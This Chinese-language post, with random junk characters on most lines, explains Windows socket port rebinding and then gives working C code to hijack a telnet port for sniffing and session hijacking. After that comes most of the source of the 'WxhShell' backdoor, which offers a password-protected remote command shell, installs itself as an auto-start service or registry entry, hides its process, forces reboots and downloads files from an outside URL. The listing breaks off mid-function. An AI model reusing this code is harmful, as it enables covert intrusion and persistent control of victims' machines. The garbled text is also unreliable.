在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
LwZBM#_g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SVpvx`&kT 3YR6@*!f/ saddr.sin_family = AF_INET;
Y<#WC#3= s3W35S0Q 3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
PBTGN;y h$_Wh( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&-470Z%/ !r,ZyJU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Jb#*QJ= |)}F}~& 这意味着什么?意味着可以进行如下的攻击:
PnJr 5^t68
WOl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Pv1C o: TSt-#c4B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F=EAD3 $h`?l$jC(@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fJtJ2x i R)?K+cJ% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|qE"60&"} no?TEXp* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
f"~+mO +M/04 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A=o
p R &kB[jz_[A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>r2m1}6g" L~cswG'K #include
2fT't"gw #include
S)p{4`p% #include
:W_S #include
z1aApS DWORD WINAPI ClientThread(LPVOID lpParam);
WIb\+! int main()
WLV'@$ <|( {
`o8b\p\zn WORD wVersionRequested;
xAMj 16ZF DWORD ret;
Oj:O-PtN2 WSADATA wsaData;
`zAV# BOOL val;
l!ltgj SOCKADDR_IN saddr;
y@ J\h8_ SOCKADDR_IN scaddr;
4xuL{z;\ int err;
!bFa\6]q SOCKET s;
h6}oRz9=g SOCKET sc;
B!K{y>|. int caddsize;
N#Bg`:! HANDLE mt;
)#l &F$ DWORD tid;
R|%
3JE0 wVersionRequested = MAKEWORD( 2, 2 );
B08q/qi err = WSAStartup( wVersionRequested, &wsaData );
f&bY=$iff if ( err != 0 ) {
[Qa0uM#SU printf("error!WSAStartup failed!\n");
s[)2z3 return -1;
(pm]U7 }
;Z:z'';Lm saddr.sin_family = AF_INET;
W1f]A#t< >V;JI;[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
XtRfzqg?K M@UkXA} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ez%RWck saddr.sin_port = htons(23);
udX4SBq-pC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wa6DJ {
XL_X0(AKf printf("error!socket failed!\n");
"5BgajrB return -1;
WM}:%T- }
)zlksF val = TRUE;
-iGt]mbJkP //SO_REUSEADDR选项就是可以实现端口重绑定的
M6vW}APH[n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
j )Zi4<./ {
P1]ucu_y, printf("error!setsockopt failed!\n");
-q[T0^eS return -1;
Ne,7[k }
;XSRG*3j~4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
t(VG#} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#dE#w#=r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J\b,rOI f \/$T 3f`x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ptQr8[FA {
#!u P>/ ret=GetLastError();
G5egyP; printf("error!bind failed!\n");
BoG/Hd.S return -1;
Mcj4GjV6:" }
b[$%Wg listen(s,2);
wxB?} while(1)
{g@Wd2-J} {
E&}r"rbI caddsize = sizeof(scaddr);
?/9]"HFHN //接受连接请求
[4]lAxrRF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d{0b*l% if(sc!=INVALID_SOCKET)
Kg=TPNf"$ {
.*:SZ3v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
f/H rO6~k% if(mt==NULL)
?`_US7.@ {
qEX2K^y'4" printf("Thread Creat Failed!\n");
zLc.4k break;
l %=yT6 }
Y}7'OM }
LN
]ks) CloseHandle(mt);
+2O('}t }
m <IPi < closesocket(s);
l<<0:~+q WSACleanup();
YR'?fr return 0;
E0$UoP
}
F\Q)l+c DWORD WINAPI ClientThread(LPVOID lpParam)
oD4NQR {
#`RYKQwB SOCKET ss = (SOCKET)lpParam;
~`
@dI SOCKET sc;
8 Mp2MZ*p unsigned char buf[4096];
91r9RG> SOCKADDR_IN saddr;
25BW/23}e long num;
LO[1xE9 DWORD val;
?Ee?Ol?i2 DWORD ret;
aBr%"&Z.MG //如果是隐藏端口应用的话,可以在此处加一些判断
Y((z9-`
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{5.,gb @6 saddr.sin_family = AF_INET;
_E)xR saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}CsUZ&* & saddr.sin_port = htons(23);
m{mK;D
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$LAaG65V {
b6bmvHD printf("error!socket failed!\n");
^*A/92!yF return -1;
L45&O
*% }
1(w0*` val = 100;
fL83:<RK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j!mI9*hP {
Lr)h>j6\ ret = GetLastError();
k:7UU4M
5 return -1;
1dfA
8=L,s }
b$PNZC8f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}w8h^(+B {
m{pL<
g^M ret = GetLastError();
)#ic"UtR return -1;
U~Ni2|}\C9 }
>+u5%5-wr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~l CG37 {
D: JGd$` printf("error!socket connect failed!\n");
1Na CGD" closesocket(sc);
w#Nn(!VR closesocket(ss);
n9bX[+#d return -1;
DbPw)aCj }
*}ay while(1)
y>~=o9J_u {
L2{to f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v
bb mmv //如果是嗅探内容的话,可以再此处进行内容分析和记录
!!2~lG<] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ug_zyfr num = recv(ss,buf,4096,0);
&JfyXM[] if(num>0)
mWmDH74 send(sc,buf,num,0);
^Xa-)Pu else if(num==0)
9!2KpuWji break;
U%gP2]t%cs num = recv(sc,buf,4096,0);
y::KjB 0 if(num>0)
WgE~H)_% send(ss,buf,num,0);
VrF]X#\) else if(num==0)
`Yoafa break;
bnD>/z]E }
bI]1!bi]i closesocket(ss);
Q=e?G300#L closesocket(sc);
71K6] ~< return 0 ;
'QCvN b6 }
s4~c>voQB yaR|d3ef?4 ik&loM_ ==========================================================
,Oxdqx u7 @Z3b^G[ 下边附上一个代码,,WXhSHELL
6K`frt 7acAU{Rr ==========================================================
,wX/cUyZ
gkBat(Uc #include "stdafx.h"
NEJ
Nu_Z (_-zm)F7 #include <stdio.h>
z`
gR*+ #include <string.h>
B3I<
$ #include <windows.h>
C9bf1ddCW& #include <winsock2.h>
Gc
SX5c #include <winsvc.h>
4|Z3;;%+ #include <urlmon.h>
C:P, q6 \ u5%+GA-: #pragma comment (lib, "Ws2_32.lib")
}1(F~6RH #pragma comment (lib, "urlmon.lib")
bLf }U9 ~~yo& ] #define MAX_USER 100 // 最大客户端连接数
OFDPtJ wV #define BUF_SOCK 200 // sock buffer
@$~%C) %u #define KEY_BUFF 255 // 输入 buffer
jfgAI7;b $vc:u6I[ #define REBOOT 0 // 重启
JsiJ=zo< #define SHUTDOWN 1 // 关机
l&T;G9z n{UB^-}5 #define DEF_PORT 5000 // 监听端口
8+GlM+>4 Pb[wysy #define REG_LEN 16 // 注册表键长度
,T1t` #define SVC_LEN 80 // NT服务名长度
[m('Y0fwO^ BQw#PXp3 // 从dll定义API
9nd'"$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
z?E:s.4F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ux-Fvwoh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Kb4u)~S: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
NCl={O9<j .O lq_wuH // wxhshell配置信息
>eJk)qM struct WSCFG {
b`%/* int ws_port; // 监听端口
f+gyJ#R` char ws_passstr[REG_LEN]; // 口令
*+Q,b ^N int ws_autoins; // 安装标记, 1=yes 0=no
~0worI? char ws_regname[REG_LEN]; // 注册表键名
gbKms;: char ws_svcname[REG_LEN]; // 服务名
^*Rr x char ws_svcdisp[SVC_LEN]; // 服务显示名
'MsxZqW"~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
4pA(.<#A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5GpRN int ws_downexe; // 下载执行标记, 1=yes 0=no
]A!Gr(FHQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|yQ3H)qB# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#x"pG <$7*yV };
c
t,p?[Q tJg // default Wxhshell configuration
yQCfn1a) struct WSCFG wscfg={DEF_PORT,
@^%zh "xuhuanlingzhe",
6' ?Y]K 1,
(5'qEi ea "Wxhshell",
vp-)$f& "Wxhshell",
ZEHz/Y% "WxhShell Service",
7G2TT a "Wrsky Windows CmdShell Service",
l} h<2 "Please Input Your Password: ",
YMJjO0 1,
i mJ{wF "
http://www.wrsky.com/wxhshell.exe",
mDj:w#q "Wxhshell.exe"
dr:)+R };
V&NOp ^$yr-p%- // 消息定义模块
[l'~> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
})ss. char *msg_ws_prompt="\n\r? for help\n\r#>";
QbS w<V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UyIjM;X char *msg_ws_ext="\n\rExit.";
JNk
]$ xz char *msg_ws_end="\n\rQuit.";
aA0aW=R char *msg_ws_boot="\n\rReboot...";
VJJw"4DJ char *msg_ws_poff="\n\rShutdown...";
V^.~m;ETu] char *msg_ws_down="\n\rSave to ";
~M43#E[oOF G|X1c}zAL char *msg_ws_err="\n\rErr!";
%'t~+_ char *msg_ws_ok="\n\rOK!";
:9K5zD *gZ4Ub|O char ExeFile[MAX_PATH];
o),i2 int nUser = 0;
[O(78n$$ HANDLE handles[MAX_USER];
}&;0:hw% int OsIsNt;
>*Y~I0> ,?i#NN5p SERVICE_STATUS serviceStatus;
`EV[uj&1S SERVICE_STATUS_HANDLE hServiceStatusHandle;
k(hes3JV N6yqA)z?; // 函数声明
{f)",# int Install(void);
{P-KU RQ int Uninstall(void);
blxH`O! int DownloadFile(char *sURL, SOCKET wsh);
_.wLQL~y int Boot(int flag);
[YJP void HideProc(void);
7c<2oTN' int GetOsVer(void);
TvMY\e int Wxhshell(SOCKET wsl);
}GQ8|fg`U void TalkWithClient(void *cs);
j'CRm5O int CmdShell(SOCKET sock);
' J]V"Z) int StartFromService(void);
>l'QX( int StartWxhshell(LPSTR lpCmdLine);
_Z5l
Nu uVOOw&q_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0.|tKetHq VOID WINAPI NTServiceHandler( DWORD fdwControl );
sDWX} NV _vvnxG!x& // 数据结构和表定义
(zye
Ch SERVICE_TABLE_ENTRY DispatchTable[] =
Y.jg
}oV {
jw#'f%* {wscfg.ws_svcname, NTServiceMain},
ToDN^qE+ {NULL, NULL}
b)'Ew27 };
bIe>j*VPh@ Lj({
T'f( // 自我安装
H6rWb6i int Install(void)
a*74FVZo.; {
0XL
x@FYn char svExeFile[MAX_PATH];
PS(9?rX#+ HKEY key;
:uhvDYp(- strcpy(svExeFile,ExeFile);
In=3#u
,M ZXHG2@E) // 如果是win9x系统,修改注册表设为自启动
j:$2,?|5 if(!OsIsNt) {
xzIs,i}U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F!j@b!J8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r'pFHX RegCloseKey(key);
D
OPOzh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kw|bEL9!u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<hQ@]2w$ RegCloseKey(key);
\L6U}ZQ2V return 0;
uZ%b6+( }
L=4?vs }
?nj _gL }
j08|zUe else {
|5$9l#e #y}@FG // 如果是NT以上系统,安装为系统服务
#C4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0>VgO{X if (schSCManager!=0)
k`2 K?9\ {
M_$pqVm SC_HANDLE schService = CreateService
Lg_y1Mu7o (
9?bfZF4A= schSCManager,
BalOph4M[ wscfg.ws_svcname,
?i)-K?4Sb wscfg.ws_svcdisp,
BxO2w1G SERVICE_ALL_ACCESS,
u\&oiwSIP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n4(w?,w} SERVICE_AUTO_START,
ANp4yy+ SERVICE_ERROR_NORMAL,
W[j =!o svExeFile,
9j$
OU@N
8 NULL,
H>;km$b + NULL,
mkrvWZjZX NULL,
BAg*zYV7 NULL,
?GB($D=Y'& NULL
cV)fe`Gg );
,t61IU3" if (schService!=0)
]Fl+^aLS {
1:q55!b CloseServiceHandle(schService);
!z58,hv CloseServiceHandle(schSCManager);
!0 *=z~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=EsKFt" strcat(svExeFile,wscfg.ws_svcname);
u|BD%5+J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
= J).(E89 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~}z p}Pt RegCloseKey(key);
I?s)^' return 0;
k$k(g }
)0fQ(3oOg }
peR=J7 CloseServiceHandle(schSCManager);
.Eh~$wm }
1Qhx$If~ }
;oWh Tj` &FkKnz4IZ return 1;
n*@^c$&P }
/o+,
=7hY J>]' {!+ // 自我卸载
+7N6]pK|" int Uninstall(void)
ZCbxL.fFz {
m$pXe< HKEY key;
NVeb,Pf i+Ob1B@w if(!OsIsNt) {
3,3{wGvHHW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/=,^fCCN RegDeleteValue(key,wscfg.ws_regname);
roj/GZAy" RegCloseKey(key);
<MA!?7Z| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V{ra,a* RegDeleteValue(key,wscfg.ws_regname);
H<X4R RegCloseKey(key);
P}DrUND return 0;
L1P]T4a@) }
5#$E4k:YV }
S;i^ucAF }
A<y3Tc?Q else {
J U}XSb W4|1wd}.t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
WI[6l6 if (schSCManager!=0)
92+({ fgW {
%jqBYn0q' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
E
Jq=MP if (schService!=0)
H6bomp" {
V1xpJ if(DeleteService(schService)!=0) {
\
$X3n\ CloseServiceHandle(schService);
`:i|y CloseServiceHandle(schSCManager);
'[`.&-; return 0;
+CX2W(' }
F@"Xd9q? CloseServiceHandle(schService);
uC 5mxZ }
*G'zES0x CloseServiceHandle(schSCManager);
7&'^H8V }
)1~4Tl,S }
kH-1l>": ZMg%/C return 1;
i ,4 }
*=~
9? 2=(=Wjk. // 从指定url下载文件
[q9TTJ@2 int DownloadFile(char *sURL, SOCKET wsh)
A6q,"BS^d {
:==kC672 HRESULT hr;
]bhzB char seps[]= "/";
5(2g*I char *token;
I;uZ/cZ|/ char *file;
X~]eQaJ char myURL[MAX_PATH];
rS>njG;R char myFILE[MAX_PATH];
84e)huAs ,XI,B\eNk strcpy(myURL,sURL);
9 n|H%AC token=strtok(myURL,seps);
xqmJPbA
while(token!=NULL)
%}+j4n {
Y\dK-M{$ file=token;
\>23_d0 token=strtok(NULL,seps);
^p|@{4f] }
P,xayy h"#^0$f GetCurrentDirectory(MAX_PATH,myFILE);
0Q]x[;!k strcat(myFILE, "\\");
Vy-H3BR strcat(myFILE, file);
s@^GjA[6+ send(wsh,myFILE,strlen(myFILE),0);
J@(*(oQb send(wsh,"...",3,0);
5t:4% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
wvx
N6 if(hr==S_OK)
F 3,hx return 0;
Ndx.SOj else
M\e%GJ0 return 1;
.F'Fk=N ]1abz: }
|Wi$@sWO S%mN6b~{ // 系统电源模块
TcO@q ]+S int Boot(int flag)
Z;7f
D {
5W 5\*L HANDLE hToken;
]Ny. gu TOKEN_PRIVILEGES tkp;
lJ R",_ /_o1b_1U if(OsIsNt) {
r}D`15IHJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<`H:Am` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t#6gjfIi tkp.PrivilegeCount = 1;
mBQ6qmK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k+JDbJ@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4q~+K'Z if(flag==REBOOT) {
WASs'Gx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&qMSJ return 0;
-.ha\ t0J }
_2 }i8q: else {
5c3)p^]g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1UyI.U] return 0;
*oZBv4Vh }
`Qaw]&O }
nCGLuZn else {
Le|Ho^h,Y if(flag==REBOOT) {
G/N'8Q) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(!W:-|[K\ return 0;
.OX.z~":y }
gqyQ Zew else {
oBifESJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
nd'zO#"m? return 0;
o-GlBXI; }
iN<& }
yZUB8erb. 8iqx*8} return 1;
6$9n_AS }
oizD:| EoIP#Cnd1 // win9x进程隐藏模块
"Z& { void HideProc(void)
fC&Egy {
na(@`(j[ T%
Kj >- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X<#Q~" if ( hKernel != NULL )
BqCBH!^x {
2}b1PMpZG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
A^bg*t, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8e[kE>tS._ FreeLibrary(hKernel);
kNd[M =% }
m9wV#Ldu st+X~;PX* return;
{%N*AxkvId }
|L%F`K>Z: g5;
W6QX // 获取操作系统版本
M_Z*F!al< int GetOsVer(void)
)l\BZndf {
H}dsd=yO OSVERSIONINFO winfo;
/V$[M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
UStZ3A' GetVersionEx(&winfo);
PfF7*}P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,l.O @ return 1;
]+
XgH#I else
" <m)Fh; return 0;
vz#rbBY*; }
)?K3nr df&d+jY // 客户端句柄模块
:G9.}VrU int Wxhshell(SOCKET wsl)
bJx{mq
{
NyeGa SOCKET wsh;
%h4pIA struct sockaddr_in client;
.px*.e s DWORD myID;
Q/1
6D rgRh ySud while(nUser<MAX_USER)
A+iQH1C0h {
eeoIf4] int nSize=sizeof(client);
wHx1CXC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u/hFf3 if(wsh==INVALID_SOCKET) return 1;
Q|"{<2"]U0 cPPE8}PVH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1Ty{k^% if(handles[nUser]==0)
kbI:}b7H closesocket(wsh);
n-#?6`>a else
gk>A nUser++;
ALiA+k N }
i(a2FKLy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z5=&qo|f9l Yih^ZTf]O? return 0;
H8`K?SXU }
@j K7bab: \XCs(lNh // 关闭 socket
-9UQs.Nv void CloseIt(SOCKET wsh)
.o]vjNrd/ {
s4@AK48 closesocket(wsh);
:\4?{,@_h nUser--;
V#ZF0a] ExitThread(0);
ujXC#r& }
WW:@% cQ@ #]_S{sO // 客户端请求句柄
Qx>S>f void TalkWithClient(void *cs)
/E2/3z {
S"!nM]2L j\P47q'v# SOCKET wsh=(SOCKET)cs;
erdWGUfQOe char pwd[SVC_LEN];
r\F`xtR( char cmd[KEY_BUFF];
x&8HBF' char chr[1];
S=U*is int i,j;
b*n o.eB 6w0/;8(_m while (nUser < MAX_USER) {
Zh)Qq?H $Dxz21|P7 if(wscfg.ws_passstr) {
h:Q*T*py if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)|x)KY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&y;('w //ZeroMemory(pwd,KEY_BUFF);
'{5|[ i=0;
_SJ#k|vcq while(i<SVC_LEN) {
u `1cXL[' y"<nx3 // 设置超时
+#"CgZ] fd_set FdRead;
'ZgrN14 struct timeval TimeOut;
+Tf ,2?O FD_ZERO(&FdRead);
:tu6'X\k FD_SET(wsh,&FdRead);
%4Y/-xF}9, TimeOut.tv_sec=8;
SaH0YxnY+ TimeOut.tv_usec=0;
x\]%TTps int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
w`bojM@e1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+?),BRCce DBWe>Ef( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
m*6C *M
pwd
=chr[0]; + t({:>E
if(chr[0]==0xd || chr[0]==0xa) { Ko]A}v\]
pwd=0; uCB7(<
break; s(w6Ldi
} vj]-p=
i++; 1mz;4xb
} JQP7>W
?\L@Pr|=Dr
// 如果是非法用户,关闭 socket ~c%H3e>Jcq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ArDkJ`DE
} 6Z] * ce<r
xL3-(K6e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,]gYy00w0s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r?{tu82#i
t7pe)i,)
while(1) { X-|Lg.s
/XEUJC4
ZeroMemory(cmd,KEY_BUFF); h$)+$^YI
K9\`Wu_qL
// 自动支持客户端 telnet标准 ne4j_!V{Mf
j=0; 8%S5Fc#am
while(j<KEY_BUFF) { tY-{uHW&h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &> tmzlww
cmd[j]=chr[0]; 8
;y N
if(chr[0]==0xa || chr[0]==0xd) { (, Il>cR4
cmd[j]=0; .uG|Vq1v
break; 494"-F 6
} d[;S n:B
j++; w[~O@:`]<o
} J+r\EN^9
hg_@Ui@[z
// 下载文件 ?xu5/r<
if(strstr(cmd,"http://")) { rH"&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -.~Dhk
if(DownloadFile(cmd,wsh)) x9)^0Hbo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-H#M]Gq
else vY&[=2=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 78&jaw*1A
} KP`{ UD)
else { AC;ja$A#
<)ozbv Xk
switch(cmd[0]) {
3=@94i
6," 86
// 帮助 3e+ Ih2
case '?': { 48l!P(>?y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q>]FO
break; 1|_jV7`Mz
} jHBzZ!<
// 安装 r8x<-u4
case 'i': { x?v/|
if(Install()) H g(%gT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0\*[7!`s
else sDA&U9;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .\ K0+b;
break; D|lp3\`%
} |giV<Sj
// 卸载 W9nmTz\8
case 'r': { 2x%Xx3!
if(Uninstall()) b2]1Dfw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/e\EkT
else {WfZE&B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q^NI
break; SC/|o
} e=S51q_0
// 显示 wxhshell 所在路径 :!H]gC
4
case 'p': { 3m:[o`L
char svExeFile[MAX_PATH]; %2>ya>/M
strcpy(svExeFile,"\n\r"); jI:5[. Y
strcat(svExeFile,ExeFile); C\#E1\d
send(wsh,svExeFile,strlen(svExeFile),0); s|L}wtc
break; _P9Th#UAg
} ,U':=8
// 重启 "l0z?u
case 'b': { j_i/h "
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); faH113nc
if(Boot(REBOOT)) fR[kjwX)<1
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
naE;f)
else { /sVy"48-
closesocket(wsh); 1 XsB
ExitThread(0); 1Z-f@PoM
} J<J_yRg2
break; !;EG<ji,gj
} xaiA2
// 关机 gbF^m`A>%+
case 'd': { }@JPvIE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e
lj] e
if(Boot(SHUTDOWN)) hn]><kaA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DMO8~5
else { NbG`v@yH
closesocket(wsh); /sHWJ?`&/,
ExitThread(0); 4E\Jk 5co,
} X633.]+
break; !##OQ
} 7&-i
:2
// 获取shell +*/XfPlr|
case 's': { 5y3V duE
CmdShell(wsh); p1^k4G
closesocket(wsh); X@`kuWIUw
ExitThread(0); ZmM/YPy
break; 5`] ;[M9
} ';<gc5EK
// 退出 1Q-O&\-xg
case 'x': { =P>c1T1-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cbsU!8
CloseIt(wsh); |-kU]NJFR
break; 8&T6
} L<8:1/d\
// 离开 Td~CnCor
case 'q': { 9&(d2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6, =oTmFP
closesocket(wsh); NJ"
d`
WSACleanup(); R Ptc \4
exit(1); lI#Ap2@
break; iBlZw%zKP
} G+Gd;`4
} -n.ltgW@
} u!wR
9a4Xf%!F>z
// 提示信息 Ci{,e%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #|\w\MJamP
} jvGGIb"&1
}
ey4RKk,
%p? +r
return; ean_/E
} yMz%s=rh
! n@*6
// shell模块句柄 0|mF
/
int CmdShell(SOCKET sock) osB8
'\GR
{ ZV :cgv
STARTUPINFO si; f]N.$,:$
ZeroMemory(&si,sizeof(si)); b=Rw=K.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u/W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PDwi] )6mf
PROCESS_INFORMATION ProcessInfo; E RnuM
char cmdline[]="cmd"; %OS}BAh^i
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u7L!&/ 6On
return 0; >\J({/ #O
} O+ ].'
Pr|:nJs
// 自身启动模式 oaxCcB=\
int StartFromService(void) /da5"
{ ?f}lYQzM
typedef struct POZ5W)F(
{ W ='c+3O6
DWORD ExitStatus;
;S,k
U{F
DWORD PebBaseAddress; {& Pk$Q!
DWORD AffinityMask; #ZFedK0vv
DWORD BasePriority; ]I
pLF#
ULONG UniqueProcessId; WX2:c,%:
